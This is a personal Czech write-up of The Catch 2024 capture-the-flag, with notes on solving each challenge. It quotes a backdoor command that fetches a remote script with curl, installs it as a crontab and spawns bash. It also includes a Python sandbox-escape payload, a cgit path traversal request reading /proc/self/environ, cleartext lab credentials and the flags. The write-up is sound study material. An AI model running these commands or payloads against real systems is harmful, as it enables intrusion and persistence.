Post

The Catch 2024

Jedná se o výpis osobních poznámek, takže jsou zde obsaženy i pocity a frustrace ...

The Catch 2024

The Catch 2024 Writeup

VPN

“Fuu, takže po několika hodinách jsem přišel na problém s VPN, tato úloha byla pro většinu lidí brnkačka, pro mě to byl boj, který mi nedal spát.”

Kali:

1
2
network-manager-openvpn-gnome/now 1.11.0-1 amd64 [installed,local]
network-manager-openvpn/now 1.11.0-1 amd64 [installed,local]

ParrotOS:

1
2
ork-manager-openvpn-gnome/parrot6,now 1.10.2-2 amd64 [installed,automatic]
network-manager-openvpn/parrot6,now 1.10.2-2 amd64 [installed,automatic]

Problém s konfiguračním souborem *.ovpn

  • ParrotOS i Kali linux používají VPN stejně, tedy přes balík network-manager-openvpn
  • Když použiješ GUI a importuješ *.ovpn soubor do NetworkManageru tak u ParrotOS to funguje na první dobrou … (jo a mimochodem, parrotOS nemá nainstalovaný openvpn balíček, vystačí si s network-manager-openvpn)
  • U Kali to nefunguje, je to z důvodu novějšího networkmanager-openvpn balíčku a ten považuje v konfiguračním souboru *.ovpn hodnotu cipher AES-256-CBC za zastaralou ! Nyní se používá data-ciphers AES-256-CBC
  • to ale nepomůže, pokud to změníme v souboru před importem, neřešil jsem dále, ale tuto konfiguraci je potřeba přepsat v /etc/NetworkManager/system-connections/ctfd_ovpn.nmconnection a následně restartovat service NetworkManager systemctl restart NetworkManager nebo systemctl restart networking.service (záleží co používáte za systém)

    Problém s DNS

  • Problém nastává v momentě, kdy uživatel zjistí, že konfigurační soubor *.ovpn nefunguje, takže další co člověk zkusí je vytočit spojení přes terminál tedy. sudo openvpn --config ctfd_ovpn.ovpn
  • jenže POZOR, jakmile se to použije takhle, tak nedojde k přepsání DNS záznamů etc/resolv.conf , protože ty u novějších distribucí spravuje buď NetworkManager nebo v případě Ubuntu systemd-resolved, tam jsem se to neopovažoval zkoušet.
  • Takže je potřeba přepsat /etc/resolv.conf ručně na správné záznamy, které zjistíme z výstupu připojení openvpn z terminálu …

FLAG: FLAG{Hgku-58OA-Hsrn-03Zr}

Request of cooperation

  • Je potřeba převést MAC na IPv6 MAC: 00ca.7ad0.ea71
  • IPv6: fe80::2ca:7aff:fed0:ea71
  • Na internetu jsem našel tento konvertor: MAC to IPv6 converter
  • Něco by mělo být na portu 1701/TCP

FLAG: FLAG{Sxwr-slvA-pBuT-CzyD}

Personal portal

  • Bylo potřeba najít soubor meeting2024-09-05.md

FLAG: FLAG{YzfN-Z9RP-oc1P-auDo}

Who is Who

Jedná se o kvíz několika otázek:

  1. Czech CSIRT team with status certified by Trusted Introducer.
    • CESNET-CERTS
  2. Czech CSIRT team celebrating 20th anniversary.
    • CSIRT.CZ
  3. International organization of CSIRT teams.
    • FIRST
  4. CSIRT team for the EU institutions and agencies.
    • CERT-EU
  5. The European Union Agency for Cybersecurity.
    • ENISA
  6. National CSIRT of the Czech Republic.
    • CESNET-CERTS
  7. Community of European CSIRT teams. [NOT SURE]
    • FIRST
  8. Database of European CSIRT teams. [NOT SURE]
    • Trusted Introducer
  9. The first official CSIRT team in the Czech Republic. [NOT SURE]
    • CESNET-CERTS
  10. Government CERT of the Czech Republic.
    • GovCERT.CZ

FLAG: FLAG{ADT0-cp6f-s071-pXsQ}

Skript na řešení Who is Who

  • ten se bude určitě někdy hodit !
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
from pyquery import PyQuery

quiz = {}

i = 0
while True:
    i += 1
    print('Pass: ' + str(i))
    data = requests.get('http://csirt-quiz.e-learning.tcc/')

    pq = PyQuery(data.text)

    question = pq('pre').text()

    answers = pq('li input')
    answers = [x.attrib['value'] for x in answers]

    if not question in quiz:
        quiz[question] = answers
    else:
        for answer in quiz[question].copy():
            if not answer in answers:
                quiz[question].remove(answer)

    ok = True
    for question in quiz:
        if len(quiz[question]) != 1:
            ok = False
            break

    if ok:
        break

quiz = sorted(quiz.items())

for question in quiz:
    print(question[0] + ' --> ' + question[1][0])

Zdroj EngyCZ

Leonidas

  • ZIP soubor obsahoval privátní SSH klíč
  • ten bude asi patřit srv-test23.cypherfix.tcc
  • Uživatel má divný soubor v home .cron
  • V .ssh/authorized_keys je uschovaný hexadecimální řetězec, který po dekódování říká:
1
curl -s -A 'Leonidas! I have prepared breakfast and ate heartily... For tonight, we dine in hell!! U0c5d2JHbDBaVWxFUFVaTVFVZDdZWGQ0WVMxNE1UbHBMVWRDY2pjdGQwRkpWbjA9' http://10.99.24.24:80/.cron -o .cron; crontab .cron 2> /dev/null;/bin/bash
  • string U0c5d2JHbDBaVWxFUFVaTVFVZDdZWGQ0WVMxNE1UbHBMVWRDY2pjdGQwRkpWbjA9 je base64
  • Takže potřebujeme provést base64 decode a pak získáme flag.

FLAG: FLAG{awxa-x19i-GBr7-wAIV}

Old Service

Hledáme starý ticketovací systém doména na které je: supersecureservice.cypherfix.tcc ale už je stará, resolvuje ji jen ns6-old.tcc
tzn. pro resolve potřebujeme: dig supersecureservice.cypherfix.tcc @10.99.24.20

  • tím získáme dvě IP adresy Resolve:
1
2
3
4
5
6
7
8
;; ANSWER SECTION:
supersecureservice.cypherfix.tcc. 86400	IN TXT	"Super secure service in testing mode, any records are hipsters friendly!"
supersecureservice.cypherfix.tcc. 86400	IN HINFO "TCC 686" "TCC-OS 20.20"
supersecureservice.cypherfix.tcc. 86400	IN SVCB	2 web3s-7468656361746368323032342.cypherfix.tcc. alpn="h2,h3,mandatory=alpn" port=8020
supersecureservice.cypherfix.tcc. 86400	IN SVCB	1 web3s-746865636174636832303234.cypherfix.tcc. alpn="h2,h3,mandatory=alpn" port=8020
supersecureservice.cypherfix.tcc. 86400	IN SVCB	4 web3s-7468656361746368323032343.cypherfix.tcc. alpn="h2,h3,mandatory=alpn" port=8020
supersecureservice.cypherfix.tcc. 86400	IN A	10.99.24.21
supersecureservice.cypherfix.tcc. 86400	IN AAAA	2001:db8:7cc::24:21
  • ipv6 2001:db8:7cc::24:21 má otevřený port 8020 <- na základě skenování NMAP
  • ipv4 10.99.24.21má taky otevřený tento port Je potřeba upravit DNS záznamy, aby jsme splnily požadavky nginx proxy, konkrétně aby jsme měli správný Host Header použil jsem Burp a tam to přepsal, místo přepsání /etc/hosts BurpSuite

SVCB

  • Takže nyní ví NGINX proxy, kterou stránku nám zobrazit, když odesíláme HTTP GET požadavky se správným Host Header
  • Zde se dozvídáme o SVCB, což je typ DNS záznamu, který poskytuje dodatečné informace o službách spojených s doménou, pomáhá tak uživatelům najít nejvhodnější server.
  • Takže se vrátíme k předchozímu dotazu dig a zkusíme to s tím, že chceme vrátit všechny záznamy ANY: dig supersecureservice.cypherfix.tcc @10.99.24.20 ANY
  • Tím získáme tři SVCB záznamy
  • Tyto záznamy mají určité priority, no zkrátka jsem zkusil první a trefil jej: Leonidas

Flag je schovaný v záznamu : 10.99.24.21 web3s-746865636174636832303234.cypherfix.tcc

FLAG: FLAG{yNx6-tH9y-hKtB-20k6}

DNS Madness

  • Mělo by se jednat o něčem s DNS záznamy a AXFR leakem
  • zbytek by měl být na infra.tcc

Resolve domény infra.tcc ANY:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 2a69c7ac28ca4e2a0100000067062b963903d27542141ccf (good)
;; QUESTION SECTION:
;infra.tcc.			IN	ANY

;; ANSWER SECTION:
infra.tcc.		19216	IN	SOA	jessiejames.infra.tcc. hostmaster.infra.tcc. 2024100701 604800 86400 2419200 86400
infra.tcc.		11194	IN	NS	jamison.infra.tcc.
infra.tcc.		11194	IN	NS	jameson.infra.tcc.

;; ADDITIONAL SECTION:
jameson.infra.tcc.	79298	IN	A	10.99.24.29
jamison.infra.tcc.	79222	IN	A	10.99.24.28
jameson.infra.tcc.	79298	IN	AAAA	2001:db8:7cc::24:29
jamison.infra.tcc.	79222	IN	AAAA	2001:db8:7cc::24:28

;; Query time: 19 msec
;; SERVER: 10.99.0.1#53(10.99.0.1) (TCP)
;; WHEN: Wed Oct 09 09:07:02 CEST 2024
;; MSG SIZE  rcvd: 257

Tento úkol se opírá o RFC 9432,

  • Zkrátka bylo potřeba: dig @jessiejames.infra.tcc catalog.infra.tcc AXFR
  • tím jsme získali několik domén které též umožňovali AXFR
  • bylo potřeba skriptíku, který se dotázal na všechny sub-zóny

bash skript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/bin/bash

# Define the catalog and DNS servers to query
CATALOG_ZONE="catalog.infra.tcc"
DNS_SERVERS=("jessiejames.infra.tcc" "jamison.infra.tcc")

# Output file for results
OUTPUT_FILE="catalog_zone_axfr_results.txt"
> "$OUTPUT_FILE"  # Clear previous results

# Query catalog zone for PTR records
echo "Fetching PTR records from catalog zone: $CATALOG_ZONE"
dig @"${DNS_SERVERS[0]}" "$CATALOG_ZONE" AXFR | grep "PTR" | awk '{print $5}' | sed 's/\.$//' > subzones.txt

# Loop through each subzone and perform AXFR
while read -r subzone; do
    echo "Processing subzone: $subzone"
    
    for server in "${DNS_SERVERS[@]}"; do
        echo "Querying $subzone on DNS server: $server" | tee -a "$OUTPUT_FILE"
        
        # Perform AXFR query on the subzone
        dig @"$server" "$subzone" AXFR >> "$OUTPUT_FILE" 2>&1
        
        # Check if any flags are found in the AXFR response
        if grep -q "flag" "$OUTPUT_FILE"; then
            echo "Potential flag found in $subzone on $server" | tee -a "$OUTPUT_FILE"
            grep "flag" "$OUTPUT_FILE"
        else
            echo "No flag found in $subzone on $server" | tee -a "$OUTPUT_FILE"
        fi
        
        echo "----------------------------------" | tee -a "$OUTPUT_FILE"
    done
done < subzones.txt

echo "Processing complete. Check $OUTPUT_FILE for results."

Z výstupu je podezřelý TXT záznam:

1
2
3
4
5
6
7
8
9
10
11
12
13
; <<>> DiG 9.18.28-1~deb12u2-Debian <<>> banneron.infra.tcc @jessiejames.infra.tcc AXFR
;; global options: +cmd
banneron.infra.tcc.	86400	IN	SOA	jessiejames.infra.tcc. hostmaster.infra.tcc. 2024100701 604800 86400 2419200 86400
banneron.infra.tcc.	86400	IN	NS	jameson.infra.tcc.
banneron.infra.tcc.	86400	IN	NS	jamison.infra.tcc.
40ae12928dbf450106d8097a7ec875ea.banneron.infra.tcc. 86400 IN AAAA 2001:db8:7cd::24:6577
40ae12928dbf450106d8097a7ec875ea.banneron.infra.tcc. 86400 IN TXT "RkxBR3tBdlhPLWlNazctM2JvSC1pWURwfQ=="
banneron.infra.tcc.	86400	IN	SOA	jessiejames.infra.tcc. hostmaster.infra.tcc. 2024100701 604800 86400 2419200 86400
;; Query time: 6 msec
;; SERVER: 2001:db8:7cc:0:6361:74:24:27#53(jessiejames.infra.tcc) (TCP)
;; WHEN: Fri Oct 18 09:26:11 CEST 2024
;; XFR size: 6 records (messages 1, bytes 324)

echo "RkxBR3tBdlhPLWlNazctM2JvSC1pWURwfQ==" | base64 -d
FLAG: FLAG{AvXO-iMk7-3boH-iYDp}

Johny’s notes

Johnyho stroj: johny-station.cypherfix.tcc (10.99.24.32) otevřené porty: 22, 80 (prázný default apache2) http://johny-station.cypherfix.tcc/~johny/ <- zajímavé… Johnyho appka notes.cypherfix.tcc (10.99.24.33) Přesměrovává na port 8080 otevřené porty: 80, 8080, 8081

API k flatnotes, které běží jako appka pro poznámky https://demo.flatnotes.io/docs#/default/get_config_api_config_get

  • u Johnyho stroje je apache2 který je dostupný na http://johny-station.cypherfix.tcc/~johny/ a tam je schovaná složka .git
    • V tomto případě mi pomohl ffuf
  • takže pak pomohl git-dumper z pip repozitáře a stáhnout celý git hezky lokálně.
  • následně pak poslední commit odkazuje na změnu hesla a to je shodou okolností i heslo k uživateli johny pro SSH, takže uděláme tunel abychom se přihlásili na notes.czpherfix.tcc z johnyho stroje jenže shell je neinteraktivní, tak je potřeba -N
  • konkr.: ssh -N -D 8080 [email protected]
  • pak už stačí foxyproxy doplněk do prohlížeče a nastavit SOCKS5 na localhost port 8080 a pak přihlásit do notes stejným heslem, uživatel byl tuším user

FLAG: FLAG{VfCK-Hlp4-cQl8-p0UM}

Admin John

Něco by melo byt na doméně: john.admins.cypherfix.tcc [10.99.24.101] Otevřené porty jsou : 80 a 22 a 23000 Je zde PHP,

  • našel jsem index.php
  • pak se mi povedlo najít zajímavý environment.php
  • v environment je user john a heslo xxxxxxxxxxxxxxxxxxxx

  • Takže jsem přidal tunel na svůj PC.

Do proxychains socks5 nepoužívat doménu ale ip adresu.

  • na stroji 10.99.24.100 je smb a doména domain:DD99676F131B a Win 6.1
  • je tam user: backuper
  • takže asi eternalblue ? <– tak prý ne…
  • zkusil jsem : smbmap -H 10.99.24.100 -u backuper -p Bprn5ibLF4KNS4GR5dt4 -d DD99676F131B

  • fungovalo: smbclient //10.99.24.100/backup -U backuper%Bprn5ibLF4KNS4GR5dt4 -W DD99676F131B

Heslo z .bash_history z backup ze samby z 10.99.24.100 Enterprise1512 ale pak bylo změněno… takže pak zkusit přes Johna lousknout heslo co by mohlo být podobné: john --mask=Enterprise?d?d?d?d id_rsa.hash na Enterprise2215 …ROFL hmm a user je [email protected] je potřeba proxychains pro splnění authorized_keys které říká, že spojení může být jen z 10.99.24.100.

Jo a IP 78.128.214.45:40001 taky není cesta !!!

FLAG: FLAG{sIej-5d9a-aIbh-v4qH}

Časově omezený reply z PHP webu:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Linux 451180a17ba0 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64 GNU/Linux
Disk usage
Filesystem Size Used Avail Use% Mounted on
overlay 98G 30G 65G 32% /
tmpfs 64M 0 64M 0% /dev
shm 64M 0 64M 0% /dev/shm
/dev/sda2 98G 30G 65G 32% /etc/hosts
tmpfs 3.9G 0 3.9G 0% /proc/acpi
tmpfs 3.9G 0 3.9G 0% /sys/firmware
Running Processes
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 3924 2452 ? Ss Oct03 0:00 /bin/bash /entrypoint.sh
root 62 0.0 0.2 36964 22248 ? S Oct03 5:05 /usr/bin/python3 /usr/bin/supervisord
root 63 0.0 0.0 2576 696 ? S Oct03 0:00 \_ /bin/sh /usr/sbin/apachectl -D FOREGROUND
root 68 0.0 0.1 201060 14444 ? S Oct03 0:42 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 391488 0.0 0.1 201788 14120 ? S 10:37 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392617 0.0 0.1 201788 14120 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392649 0.0 0.1 201788 14120 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392654 0.0 0.1 201788 14120 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392673 0.0 0.1 201788 14120 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392694 0.0 0.1 201788 14120 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392702 0.0 0.1 201788 14116 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392706 0.0 0.1 201788 14116 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392745 0.0 0.1 201788 14152 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
www-data 392750 0.0 0.1 201788 14216 ? S 11:04 0:00 | \_ /usr/sbin/apache2 -D FOREGROUND
root 64 0.0 0.0 3976 2136 ? S Oct03 0:05 \_ cron -f
root 395170 0.0 0.0 5868 2676 ? S 11:30 0:00 | \_ CRON -f
root 395173 0.0 0.0 2576 916 ? Ss 11:30 0:00 | \_ /bin/sh -c read -t 2.0; /bin/bash /opt/client/backup.sh
root 395175 0.0 0.0 3924 2920 ? S 11:30 0:00 | \_ /bin/bash /opt/client/backup.sh
root 395180 0.0 0.0 21228 3036 ? R 11:30 0:00 | \_ smbclient -U backuper%Bprn5ibLF4KNS4GR5dt4 //10.99.24.100/backup -c put /backup/backup-1728559801.tgz backup-home.tgz
root 395181 0.0 0.0 8100 4000 ? R 11:30 0:00 | \_ ps faxu
root 65 0.0 0.0 15432 5292 ? S Oct03 0:29 \_ sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
john@tc+ 67 0.0 0.0 2464 808 ? S Oct03 0:00 \_ sshpass -p xxxxxxxxxxxxxxxxxxxx ssh -o StrictHostKeyChecking=no -N -D 0.0.0.0:23000 [email protected]
john@tc+ 69 0.1 0.4 39344 32504 pts/0 Ss+ Oct03 16:26 \_ ssh -o StrictHostKeyChecking=no -N -D 0.0.0.0:23000 [email protected]

Snake game

x-x-x-x

Ověřovací program

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import string

print('Hello, I can only speak Python, show me your code.')
code = input('Enter your code : ')
code = ''.join([c for c in code if c in string.printable])
for keyword in ['eval', 'exec', 'import', 'open', 'system',
                'os', 'builtins', "'", '""', '+', '*' ]:
    if keyword in code:
        print('This is not allowed:', keyword)
        break
else:
    try:
        print(eval(code, {'__builtins__': {'str': str}}))
    except Exception as e:
        print(f'I\'m confused - {e}')

Hint: spuštěného souboru Lze vyčíst ze serveru přes /proc/self/cmdline jméno spuštěného souboru i s parametry, pak zjistíme i bin/jail.py

Výsledná cesta:

  • může být pokaždé jiná, jde o to, že se využilo _io.IOBase
  • .__subclasses__() vypisuje možné třídy, které lze použít.

{}.__class__.__mro__[1].__subclasses__()[114].__subclasses__()[1].__subclasses__()[0]("/flag.txt").read()

FLAG: FLAG{lY4D-GJaQ-VUks-PNQd}

Incident reporting

Pravděpodobně útočník 2001:db8:7cc::a1:210 tahá data z 2001:db8:7cc::acdc:24:a160

Lépe rozdělit na dvě části:

Brute-force attack

  • útočník: 2001:db8:7cc::a1:210
  • oběť: 2001:db8:7cc::acdc:24:beef

  • začátek ping: 2024-09-26T08:55:20.219234Z 2024-09-26 08:55:20
  • začátek POST: 2024-09-26T08:55:20.379553Z
  • konec: 2024-09-26T08:55:43.332428Z 2024-09-26 08:55:43
  • počet požadavků: 1225 HTTP POST

Incident ID: MS80OiBGTEFHe2xFOA== => 1/4: FLAG{lE8 Uživatel se přihlásil jako admin a použil heslo asterix - to bylo ale neúspěšné .. jiné bylo autumn a to bylo správně


Web service enumeration

HTTP komunikace

  • útočník: 2001:db8:7cc::a1:210 se dotazuje na port 80
  • oběť: 2001:db8:7cc::acdc:24:a160
  • počet dotazů je: 42259

  • útočník ale objevil jen 2 URI:
    • /TEMP/order.md
    • /index.html na doméně netforce.tcc
  • začátek: 2024-09-26T08:48:18.629555Z 2024-09-26 08:48:18
  • konec: 2024-09-26T08:50:03.443165Z 2024-09-26 08:49:45 Incident ID: NC80OiBkNWtNfQ== => 4/4: d5kM}

BRIM dotaz: id.orig_h==2001:db8:7cc::a1:210 id.resp_h==2001:db8:7cc::acdc:24:a160 method=="GET"

  • s tím že se mi tam přimotal i request z curl který nespadá do service enumeration Brim

Scanning

  • Source: 2001:db8:7cc::a1:42
  • Dest: ff02:0:0:1:ff24::/104
  • Dest OPRAVA: 2001:db8:7cc::acdc:24:0/112

  • Porty které byli skenované:
    1
    2
    3
    4
    5
    6
    7
    8
    
    id.orig_h == 2001:db8:7cc::a1:42 | cut id.resp_p | count() by id.resp_p | sort -r
    80
    22
    53
    8080
    443
    21
    22
    
  • port 135 a 136 tam nepatří … pravděpodobně to Brim špatně interpretuje

    Scanning několika portů bez 135 a 136

    BRIM: id.orig_h==2001:db8:7cc::a1:42 and id.resp_p!=135 and id.resp_p !=136 | sort ts

  • počet záznamů 157
  • začátek: 2024-09-26T09:17:08.768528Z
  • konec: 2024-09-26T09:17:09.875883Z

Scanning několika portů s 135 a 136

BRIM: id.orig_h==2001:db8:7cc::a1:42 | sort ts -r

  • počet záznamů 65 709 (brim zobrazuje špatně .. správně je 20-99)
  • začátek: 2024-09-26T08:44:29.817188Z
  • konec: 2024-09-26T09:17:09.875883Z

Incident ID: My80OiAtYTBRZi0= => 3/4: -a0Qf-


DDoS

dle velikosti přenesených dat co do počtu, pouze via TCP Source : 2001:db8:7cc::a1:d055 Destination: 2001:db8:7cc::acdc:24:911

  • Asi bude potřeba rozdělit na čistě DDoS na TCP vrstvě bez http

    DDoS s TCP i HTTP

Časové okno

Od: 2024-09-26T08:58:44.817248Z Do: 2024-09-26T09:46:45.027333Z počet: 31 217 včetně http (těch tam je pár)

Incident ID: Mi80OiBzLVVrb3g= FLAG: 1/4: FLAG{lE8 FLAG: 2/4: s-Ukox FLAG: 3/4: -a0Qf- FLAG: 4/4: d5kM}

FLAG: FLAG{lE8s-Ukox-a0Qf-d5kM}

Admin Johnson

Admin Johnson

  • používá stále stejná hesla …
  • doména: johnson-backup.cypherfix.tcc [10.99.24.30]

Otevřené porty:

  • 80 - Apache2
  • 199 - smux
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[msf](Jobs:0 Agents:0) auxiliary(scanner/snmp/snmp_enum) >> exploit

[+] 10.99.24.30, Connected.

[*] System information:

Host IP                       : 10.99.24.30
Hostname                      : -
Description                   : -
Contact                       : -
Location                      : -
Uptime snmp                   : -
Uptime system                 : -
System date                   : -

[*] Processes:

Id                  Status              Name                Path                Parameters          
1                   runnable            supervisord         /usr/bin/python3    /usr/bin/supervisord
7                   runnable            apache2ctl          /bin/sh             /usr/sbin/apache2ctl -D FOREGROUND
8                   runnable            cron                /usr/sbin/cron      -f                  
9                   running             snmpd               /usr/sbin/snmpd     -f                  
12                  runnable            cron                /usr/sbin/CRON      -f                  
16                  runnable            sh                  /bin/sh             -c /etc/scripts/restic.sh >> /var/www/html/3cde480a8572719b9b33acb1257c6361/restic.err.log 2>&1
20                  runnable            restic.sh           /bin/bash           /etc/scripts/restic.sh
28                  runnable            apache2             /usr/sbin/apache2   -D FOREGROUND       
9331                runnable            apache2             /usr/sbin/apache2   -D FOREGROUND       
9359                runnable            apache2             /usr/sbin/apache2   -D FOREGROUND       
9387                runnable            apache2             /usr/sbin/apache2   -D FOREGROUND       
9920                runnable            sleep               sleep               86400               


             
  • z toho je patrné že je něco na http://johnson-backup.cypherfix.tcc/3cde480a8572719b9b33acb1257c6361/restic.err.log
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
restic -r rest:http://johnson:[email protected]:8000/test check
using temporary cache in /tmp/restic-check-cache-1940938965
create exclusive lock for repository
Save(<lock/340d752ce5>) returned error, retrying after 552.330144ms: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 1.080381816s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 1.31013006s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 1.582392691s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 2.340488664s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 4.506218855s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 3.221479586s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 5.608623477s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 7.649837917s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/340d752ce5>) returned error, retrying after 15.394871241s: server response unexpected: 500 Internal Server Error (500)
server response unexpected: 500 Internal Server Error (500)
github.com/restic/restic/internal/backend/rest.(*Backend).Save
	github.com/restic/restic/internal/backend/rest/rest.go:167
github.com/restic/restic/internal/backend.(*RetryBackend).Save.func1
	github.com/restic/restic/internal/backend/backend_retry.go:66
github.com/cenkalti/backoff.RetryNotifyWithTimer
	github.com/cenkalti/backoff/retry.go:55
github.com/cenkalti/backoff.RetryNotify
	github.com/cenkalti/backoff/retry.go:34
github.com/restic/restic/internal/backend.(*RetryBackend).retry
	github.com/restic/restic/internal/backend/backend_retry.go:46
github.com/restic/restic/internal/backend.(*RetryBackend).Save
	github.com/restic/restic/internal/backend/backend_retry.go:60
github.com/restic/restic/internal/cache.(*Backend).Save
	github.com/restic/restic/internal/cache/backend.go:59
github.com/restic/restic/internal/repository.(*Repository).SaveUnpacked
	github.com/restic/restic/internal/repository/repository.go:488
github.com/restic/restic/internal/restic.SaveJSONUnpacked
	github.com/restic/restic/internal/restic/json.go:31
github.com/restic/restic/internal/restic.(*Lock).createLock
	github.com/restic/restic/internal/restic/lock.go:161
github.com/restic/restic/internal/restic.newLock
	github.com/restic/restic/internal/restic/lock.go:105
github.com/restic/restic/internal/restic.NewExclusiveLock
	github.com/restic/restic/internal/restic/lock.go:73
main.lockRepository
	github.com/restic/restic/cmd/restic/lock.go:42
main.lockRepoExclusive
	github.com/restic/restic/cmd/restic/lock.go:27
main.runCheck
	github.com/restic/restic/cmd/restic/cmd_check.go:212
main.glob..func5
	github.com/restic/restic/cmd/restic/cmd_check.go:37
github.com/spf13/cobra.(*Command).execute
	github.com/spf13/cobra/command.go:916
github.com/spf13/cobra.(*Command).ExecuteC
	github.com/spf13/cobra/command.go:1044
github.com/spf13/cobra.(*Command).Execute
	github.com/spf13/cobra/command.go:968
main.main
	github.com/restic/restic/cmd/restic/main.go:98
runtime.main
	runtime/proc.go:250
runtime.goexit
	runtime/asm_amd64.s:1594
unable to create lock in backend

používat --no-lock možná id: 84e8d815 zjištěno přes snapshots http://johnson-backup.cypherfix.tcc/ = = 10.99.24.30

finální command: restic -r rest:http://johnson:[email protected]:8000/test restore 84e8d815 --target . --no-lock

FLAG: FLAG{OItn-zKZW-cht7-RNH4}

Chapter X

  • všechno to běží v kubernetes, je tam ještě nějaká NGINX kubernetes proxy, takže zde máme vícero subdomén pod lore.tcc

Doména: http://intro.lore.tcc/ IP: 10.99.24.82

  • Obsahuje několik odkazů

1. Travel

URL: http://cgit.lore.tcc/ IP: 10.99.24.82 cgit: http://cgit.lore.tcc/cgit.cgi cgit má zranitelnost path traversal, v msfconsole

[!info] Tady mi pomoho msf > setg Proxies http:127.0.0.1:8080 kdy jsem nastavil u konkr. exploitu cgit nastavení na BurpSuite proxy abych pochopil, jak exploit funguje …

a nebo přes burp viz. screen:

burp2

Environmental variables:
Pokud chci zobrazit environmental variables a mám jen path traversal útok, můžu se mrknout do /proc/self/environ

environmental variables 10.99.24.82

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
FLAG=FLAG{FiqE-rPQL-pUV4-daQt}
HTTP_HOST=cgit.lore.tcc
HTTP_X_REQUEST_ID=6919340ef818b282c7d85350a011bb0a
HTTP_X_REAL_IP=10.200.0.11
HTTP_X_FORWARDED_FOR=10.200.0.11
HTTP_X_FORWARDED_HOST=cgit.lore.tcc
HTTP_X_FORWARDED_PORT=80
HTTP_X_FORWARDED_PROTO=http
HTTP_X_FORWARDED_SCHEME=http
HTTP_X_SCHEME=http
HTTP_USER_AGENT=PostmanRuntime/7.42.0
HTTP_ACCEPT=*/*
HTTP_POSTMAN_TOKEN=40c6ebe7-7f81-4daa-96a1-ee8a8cc83dd0
HTTP_ACCEPT_ENCODING=gzip, deflate, br
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=
Apache/2.4.61 (Debian) Server at cgit.lore.tcc Port 80
SERVER_SOFTWARE=Apache/2.4.61 (Debian)
SERVER_NAME=cgit.lore.tcc
SERVER_ADDR=192.168.73.122
SERVER_PORT=80
REMOTE_ADDR=192.168.73.115
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=
CONTEXT_DOCUMENT_ROOT=/var/www/html
SERVER_ADMIN=[no address given]
SCRIPT_FILENAME=/var/www/html/cgit.cgi
REMOTE_PORT=58826
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=path=../../../../../../../../../..//proc/self/environ
REQUEST_URI=/cgit.cgi/sam-operator/objects/?path=../../../../../../../../../..//proc/self/environ
SCRIPT_NAME=/cgit.cgi
PATH_INFO=/sam-operator/objects/
PATH_TRANSLATED=/var/www/html/sam-operator/objects/

burp3

/etc/hosts 192.168.73.122 cgit-6b4b6b5496-kvf86

Git repozitář

web

  • v tomto git repozitáři je user samop
  • Běží zde kontejner: Shell-operator /home/parrot/Documents/TheCatch24/Chapter1/git_dir/sam-operator/docker/operator/Dockerfile

operator

  • user: samweb expose port 8010

sam-operator docker-compose

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
version: '3.1'
services:
  operator:
    build:
      context: .
      dockerfile: docker/operator/Dockerfile 
    container_name: operator
    restart: always

  web:
    build:
      context: .
      dockerfile: docker/web/Dockerfile 
    container_name: web
    environment:
      SECRET_KEY: ${SECRET_KEY:-a_test_secret}
    ports:
      - "8010:8010"
    restart: always

2. Origins pimpam

  • Doména: http://pimpam.lore.tcc
  • IP: 10.99.24.82
  • Služba: phpIPAM v1.2
  • Hostname: pimpam-9bd6b669c-f5hff
